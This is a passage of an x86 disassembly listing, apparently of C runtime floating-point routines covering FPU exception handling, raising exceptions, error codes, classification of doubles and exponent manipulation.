		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		push	esi
		inc	ebx
		test	cl, 10h
		push	edi
		jz	short loc_41CED8
		mov	eax, [ebp+arg_0]
		or	[eax+4], ebx
		mov	[ebp+arg_8], 0C000008Fh


loc_41CED8:				; CODE XREF: sub_41CEA6+23j
		test	cl, 2
		jz	short loc_41CEEB
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 2
		mov	[ebp+arg_8], 0C0000093h


loc_41CEEB:				; CODE XREF: sub_41CEA6+35j
		test	cl, bl
		jz	short loc_41CEFD
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 4
		mov	[ebp+arg_8], 0C0000091h


loc_41CEFD:				; CODE XREF: sub_41CEA6+47j
		test	cl, 4
		jz	short loc_41CF10
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 8
		mov	[ebp+arg_8], 0C000008Eh


loc_41CF10:				; CODE XREF: sub_41CEA6+5Aj
		test	cl, 8
		jz	short loc_41CF23
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax+4], 10h
		mov	[ebp+arg_8], 0C0000090h


loc_41CF23:				; CODE XREF: sub_41CEA6+6Dj
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 4
		not	ecx
		xor	ecx, [eax+8]
		push	2
		and	ecx, 10h
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shl	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		pop	edi
		and	ecx, 8
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 1
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, 4
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 3
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, edi
		xor	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		shr	ecx, 5
		not	ecx
		xor	ecx, [eax+8]
		and	ecx, ebx
		xor	[eax+8], ecx
		call	sub_41D6C3
		test	al, bl
		jz	short loc_41CF94
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41CF94:				; CODE XREF: sub_41CEA6+E5j
		test	al, 4
		jz	short loc_41CF9F
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41CF9F:				; CODE XREF: sub_41CEA6+F0j
		test	al, 8
		jz	short loc_41CFAA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41CFAA:				; CODE XREF: sub_41CEA6+FBj
		test	al, 10h
		jz	short loc_41CFB4
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41CFB4:				; CODE XREF: sub_41CEA6+106j
		test	al, 20h
		jz	short loc_41CFBE
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41CFBE:				; CODE XREF: sub_41CEA6+110j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41CFFD
		cmp	eax, 400h
		jz	short loc_41CFEF
		cmp	eax, 800h
		jz	short loc_41CFE3
		cmp	eax, ecx
		jnz	short loc_41D003
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41D003
; ---------------------------------------------------------------------------


loc_41CFE3:				; CODE XREF: sub_41CEA6+12Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41CFF9
; ---------------------------------------------------------------------------


loc_41CFEF:				; CODE XREF: sub_41CEA6+128j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41CFF9:				; CODE XREF: sub_41CEA6+147j
		mov	[eax], ecx
		jmp	short loc_41D003
; ---------------------------------------------------------------------------


loc_41CFFD:				; CODE XREF: sub_41CEA6+121j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41D003:				; CODE XREF: sub_41CEA6+133j
					; sub_41CEA6+13Bj ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41D02E
		cmp	eax, 200h
		jz	short loc_41D021
		cmp	eax, ecx
		jnz	short loc_41D03B
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41D03B
; ---------------------------------------------------------------------------


loc_41D021:				; CODE XREF: sub_41CEA6+16Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41D039
; ---------------------------------------------------------------------------


loc_41D02E:				; CODE XREF: sub_41CEA6+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41D039:				; CODE XREF: sub_41CEA6+186j
		mov	[eax], ecx


loc_41D03B:				; CODE XREF: sub_41CEA6+171j
					; sub_41CEA6+179j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		shl	ecx, 5
		xor	ecx, [eax]
		and	ecx, 1FFE0h
		xor	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+60h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+60h], ecx
		fld	qword ptr [edi]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+50h]
		call	sub_41D6D0
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_41F110	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41D0AD
		and	dword ptr [esi], 0FFFFFFFEh


loc_41D0AD:				; CODE XREF: sub_41CEA6+202j
		test	byte ptr [eax+8], 8
		jz	short loc_41D0B6
		and	dword ptr [esi], 0FFFFFFFBh


loc_41D0B6:				; CODE XREF: sub_41CEA6+20Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41D0BF
		and	dword ptr [esi], 0FFFFFFF7h


loc_41D0BF:				; CODE XREF: sub_41CEA6+214j
		test	byte ptr [eax+8], 2
		jz	short loc_41D0C8
		and	dword ptr [esi], 0FFFFFFEFh


loc_41D0C8:				; CODE XREF: sub_41CEA6+21Dj
		test	[eax+8], bl
		jz	short loc_41D0D0
		and	dword ptr [esi], 0FFFFFFDFh


loc_41D0D0:				; CODE XREF: sub_41CEA6+225j
		mov	ecx, [eax]
		and	ecx, 3
		sub	ecx, 0
		mov	edx, 0FFFFF3FFh
		jz	short loc_41D110
		dec	ecx
		jz	short loc_41D0FE
		dec	ecx
		jz	short loc_41D0EE
		dec	ecx
		jnz	short loc_41D112
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41D112
; ---------------------------------------------------------------------------


loc_41D0EE:				; CODE XREF: sub_41CEA6+23Dj
		mov	ecx, [esi]
		and	ecx, 0FFFFFBFFh
		or	ecx, 800h
		jmp	short loc_41D10C
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41CEA6+23Aj
		mov	ecx, [esi]
		and	ecx, 0FFFFF7FFh
		or	ecx, 400h


loc_41D10C:				; CODE XREF: sub_41CEA6+256j
		mov	[esi], ecx
		jmp	short loc_41D112
; ---------------------------------------------------------------------------


loc_41D110:				; CODE XREF: sub_41CEA6+237j
		and	[esi], edx


loc_41D112:				; CODE XREF: sub_41CEA6+240j
					; sub_41CEA6+246j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41D135
		dec	ecx
		jz	short loc_41D129
		dec	ecx
		jnz	short loc_41D141
		and	[esi], edx
		jmp	short loc_41D141
; ---------------------------------------------------------------------------


loc_41D129:				; CODE XREF: sub_41CEA6+27Aj
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 200h
		jmp	short loc_41D13F
; ---------------------------------------------------------------------------


loc_41D135:				; CODE XREF: sub_41CEA6+277j
		mov	ecx, [esi]
		and	ecx, edx
		or	ecx, 300h


loc_41D13F:				; CODE XREF: sub_41CEA6+28Dj
		mov	[esi], ecx


loc_41D141:				; CODE XREF: sub_41CEA6+27Dj
					; sub_41CEA6+281j
		fld	qword ptr [eax+50h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CEA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D14B	proc near		; CODE XREF: sub_41D4B3+25p

var_28		= qword	ptr -28h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		and	esi, 1Fh
		inc	ebx
		test	al, 8
		mov	[ebp+var_4], esi
		jz	short loc_41D179
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41D179
		push	ebx
		call	sub_41D702
		pop	ecx
		and	esi, 0FFFFFFF7h
		jmp	loc_41D34B
; ---------------------------------------------------------------------------


loc_41D179:				; CODE XREF: sub_41D14B+18j
					; sub_41D14B+1Dj
		test	al, 4
		jz	short loc_41D193
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41D193
		push	4
		call	sub_41D702
		pop	ecx
		and	esi, 0FFFFFFFBh
		jmp	loc_41D34B
; ---------------------------------------------------------------------------


loc_41D193:				; CODE XREF: sub_41D14B+30j
					; sub_41D14B+36j
		test	al, bl
		jz	loc_41D273
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41D273
		push	8
		call	sub_41D702
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	ecx, 0C00h
		and	eax, ecx
		jz	loc_41D249
		cmp	eax, 400h
		jz	short loc_41D21F
		cmp	eax, 800h
		jz	short loc_41D1F5
		cmp	eax, ecx
		jnz	loc_41D26B
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427A60
		fld	dbl_42D2E0
		fnstsw	ax
		test	ah, 41h
		jz	short loc_41D1ED
		fchs


loc_41D1ED:				; CODE XREF: sub_41D14B+9Ej
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D1F5:				; CODE XREF: sub_41D14B+7Ej
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41D20F
		fld	dbl_42D2D0
		jmp	short loc_41D217
; ---------------------------------------------------------------------------


loc_41D20F:				; CODE XREF: sub_41D14B+BAj
		fld	dbl_42D2E0
		fchs


loc_41D217:				; CODE XREF: sub_41D14B+C2j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D21F:				; CODE XREF: sub_41D14B+77j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_41D239
		fld	dbl_42D2E0
		jmp	short loc_41D241
; ---------------------------------------------------------------------------


loc_41D239:				; CODE XREF: sub_41D14B+E4j
		fld	dbl_42D2D0
		fchs


loc_41D241:				; CODE XREF: sub_41D14B+ECj
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_41D269
; ---------------------------------------------------------------------------


loc_41D249:				; CODE XREF: sub_41D14B+6Cj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_427A60
		fld	dbl_42D2D0
		fnstsw	ax
		test	ah, 41h
		jz	short loc_41D263
		fchs


loc_41D263:				; CODE XREF: sub_41D14B+114j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]


loc_41D269:				; CODE XREF: sub_41D14B+A8j
					; sub_41D14B+D2j ...
		fstp	qword ptr [ecx]


loc_41D26B:				; CODE XREF: sub_41D14B+82j
		and	esi, 0FFFFFFFEh
		jmp	loc_41D34B
; ---------------------------------------------------------------------------


loc_41D273:				; CODE XREF: sub_41D14B+4Aj
					; sub_41D14B+54j
		test	al, 2
		jz	loc_41D34B
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41D34B
		xor	esi, esi
		test	al, 10h
		jz	short loc_41D28D
		mov	esi, ebx


loc_41D28D:				; CODE XREF: sub_41D14B+13Ej
		push	edi
		mov	edi, [ebp+arg_4]
		fld	qword ptr [edi]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 44h
		jnp	loc_41D335
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_41D609
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41D2D8
		fmul	ds:dbl_427A60
		mov	esi, ebx
		jmp	short loc_41D32B
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D14B+181j
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 5
		jp	short loc_41D2E9
		mov	edx, ebx
		jmp	short loc_41D2EB
; ---------------------------------------------------------------------------


loc_41D2E9:				; CODE XREF: sub_41D14B+198j
		xor	edx, edx


loc_41D2EB:				; CODE XREF: sub_41D14B+19Cj
		xor	eax, eax
		mov	al, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41D322
		sub	eax, ecx


loc_41D305:				; CODE XREF: sub_41D14B+1D5j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_41D310
		test	esi, esi
		jnz	short loc_41D310
		mov	esi, ebx


loc_41D310:				; CODE XREF: sub_41D14B+1BDj
					; sub_41D14B+1C1j
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_41D31C
		or	byte ptr [ebp+var_10+3], 80h


loc_41D31C:				; CODE XREF: sub_41D14B+1CBj
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_41D305


loc_41D322:				; CODE XREF: sub_41D14B+1B6j
		test	edx, edx
		jz	short loc_41D32E
		fld	[ebp+var_10]
		fchs


loc_41D32B:				; CODE XREF: sub_41D14B+18Bj
		fstp	[ebp+var_10]


loc_41D32E:				; CODE XREF: sub_41D14B+1D9j
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_41D337
; ---------------------------------------------------------------------------


loc_41D335:				; CODE XREF: sub_41D14B+153j
		mov	esi, ebx


loc_41D337:				; CODE XREF: sub_41D14B+1E8j
		test	esi, esi
		pop	edi
		jz	short loc_41D344
		push	10h
		call	sub_41D702
		pop	ecx


loc_41D344:				; CODE XREF: sub_41D14B+1EFj
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]


loc_41D34B:				; CODE XREF: sub_41D14B+29j
					; sub_41D14B+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41D362
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41D362
		push	20h
		call	sub_41D702
		pop	ecx
		and	esi, 0FFFFFFEFh


loc_41D362:				; CODE XREF: sub_41D14B+204j
					; sub_41D14B+20Aj
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41D14B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D36D	proc near		; CODE XREF: sub_41D3C2+6Cp
					; sub_41D3C2+91p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41D389
		jle	short locret_41D394
		cmp	eax, 3
		jg	short locret_41D394
		call	sub_417C70
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------


loc_41D389:				; CODE XREF: sub_41D36D+7j
		call	sub_417C70
		mov	dword ptr [eax], 21h

locret_41D394:				; CODE XREF: sub_41D36D+9j
					; sub_41D36D+Ej
		retn
sub_41D36D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D395	proc near		; CODE XREF: sub_41D4B3+58p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41D3A1
		push	5
		jmp	short loc_41D3B7
; ---------------------------------------------------------------------------


loc_41D3A1:				; CODE XREF: sub_41D395+6j
		test	al, 8
		jz	short loc_41D3A9
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41D3A9:				; CODE XREF: sub_41D395+Ej
		test	al, 4
		jz	short loc_41D3B1
		push	2
		jmp	short loc_41D3B7
; ---------------------------------------------------------------------------


loc_41D3B1:				; CODE XREF: sub_41D395+16j
		test	al, 1
		jz	short loc_41D3B9
		push	3


loc_41D3B7:				; CODE XREF: sub_41D395+Aj
					; sub_41D395+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41D3B9:				; CODE XREF: sub_41D395+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41D395	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D3C2(int,int,int,int,int,int,double,int)

sub_41D3C2	proc near		; CODE XREF: sub_41D460+2Ap
					; sub_41D4B3+8Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax


loc_41D3CA:				; CODE XREF: sub_41D3C2+18j
		mov	ecx, dword_42D1E8[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_41D43A
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_41D3CA
		xor	eax, eax


loc_41D3DE:				; CODE XREF: sub_41D3C2+7Fj
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_41D443
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41D6DE
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41CEA3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D434
		push	esi
		call	sub_41D36D
		pop	ecx


loc_41D434:				; CODE XREF: sub_41D3C2+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D43A:				; CODE XREF: sub_41D3C2+12j
		mov	eax, off_42D1EC[eax*8]
		jmp	short loc_41D3DE
; ---------------------------------------------------------------------------


loc_41D443:				; CODE XREF: sub_41D3C2+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41D6DE
		push	[ebp+arg_0]
		call	sub_41D36D
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41D3C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D460(int,double,int)

sub_41D460	proc near		; CODE XREF: sub_419AF8+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_42D1E0, 0
		jnz	short loc_41D494
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41D3C2
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D494:				; CODE XREF: sub_41D460+Aj
		call	sub_417C70
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword ptr [eax], 21h
		call	sub_41D6DE
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41D460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D4B3(int,int,double,double,int)

sub_41D4B3	proc near		; CODE XREF: sub_419AF8:loc_419BBDp

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	[ebp+arg_18]
		mov	[esp+84h+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41D14B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D508
		and	[esp+80h+var_40], 0FFFFFFFEh
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+94h+var_80]
		push	eax
		call	sub_41CEA6
		add	esp, 18h


loc_41D508:				; CODE XREF: sub_41D4B3+2Fj
		push	[ebp+arg_0]
		call	sub_41D395
		add	esp, 4
		cmp	dword_42D1E0, 0
		jnz	short loc_41D547
		test	eax, eax
		jz	short loc_41D547
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41D3C2
		add	esp, 24h
		jmp	short loc_41D561
; ---------------------------------------------------------------------------


loc_41D547:				; CODE XREF: sub_41D4B3+67j
					; sub_41D4B3+6Bj
		push	eax
		call	sub_41D36D
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41D6DE
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx


loc_41D561:				; CODE XREF: sub_41D4B3+92j
		mov	ecx, [esp+80h+var_4]
		xor	ecx, [ebp+4]
		call	sub_4182D6
		mov	esp, ebp
		pop	ebp
		retn
sub_41D4B3	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41D571(double)

sub_41D571	proc near		; CODE XREF: sub_419AF8:loc_419B7Ep

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_41D571	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D584(double,int)

sub_41D584	proc near		; CODE XREF: sub_41D609+80p
					; sub_41D609+93p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41D584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AE	proc near		; CODE XREF: sub_419AF8+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41D5C6
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D5D8
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D5C6:				; CODE XREF: sub_41D5AE+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41D5D8
		cmp	[ebp+arg_0], edx
		jnz	short loc_41D5D8
		push	2
		jmp	short loc_41D602
; ---------------------------------------------------------------------------


loc_41D5D8:				; CODE XREF: sub_41D5AE+11j
					; sub_41D5AE+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41D5EB
		push	3
		jmp	short loc_41D602
; ---------------------------------------------------------------------------


loc_41D5EB:				; CODE XREF: sub_41D5AE+37j
		cmp	cx, 7FF0h
		jnz	short loc_41D605
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41D600
		cmp	[ebp+arg_0], edx
		jz	short loc_41D605


loc_41D600:				; CODE XREF: sub_41D5AE+4Bj
		push	4


loc_41D602:				; CODE XREF: sub_41D5AE+28j
					; sub_41D5AE+3Bj
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D605:				; CODE XREF: sub_41D5AE+42j
					; sub_41D5AE+50j
		xor	eax, eax
		pop	ebp
		retn
sub_41D5AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D609(double,int)

sub_41D609	proc near		; CODE XREF: sub_41D14B+164p

var_14		= qword	ptr -14h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41D627
		fldz
		xor	edx, edx
		jmp	loc_41D6B6
; ---------------------------------------------------------------------------


loc_41D627:				; CODE XREF: sub_41D609+13j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41D693
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41D63F
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41D693


loc_41D63F:				; CODE XREF: sub_41D609+2Fj
		fld	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 5
		jp	short loc_41D659
		xor	eax, eax
		inc	eax
		jmp	short loc_41D66E
; ---------------------------------------------------------------------------


loc_41D659:				; CODE XREF: sub_41D609+49j
		xor	eax, eax
		jmp	short loc_41D66E
; ---------------------------------------------------------------------------


loc_41D65D:				; CODE XREF: sub_41D609+69j
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41D66A
		or	dword ptr [ebp+arg_0+4], 1


loc_41D66A:				; CODE XREF: sub_41D609+5Bj
		shl	dword ptr [ebp+arg_0], 1
		dec	edx


loc_41D66E:				; CODE XREF: sub_41D609+4Ej
					; sub_41D609+52j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_41D65D
		and	byte ptr [ebp+arg_0+6],	0EFh
		cmp	eax, ecx
		jz	short loc_41D680
		or	byte ptr [ebp+arg_0+7],	80h


loc_41D680:				; CODE XREF: sub_41D609+71j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_41D584
		add	esp, 0Ch
		jmp	short loc_41D6B6
; ---------------------------------------------------------------------------


loc_41D693:				; CODE XREF: sub_41D609+26j
					; sub_41D609+34j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_41D584
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh


loc_41D6B6:				; CODE XREF: sub_41D609+19j
					; sub_41D609+88j
		mov	eax, [ebp+arg_8]
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		mov	[eax], edx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================



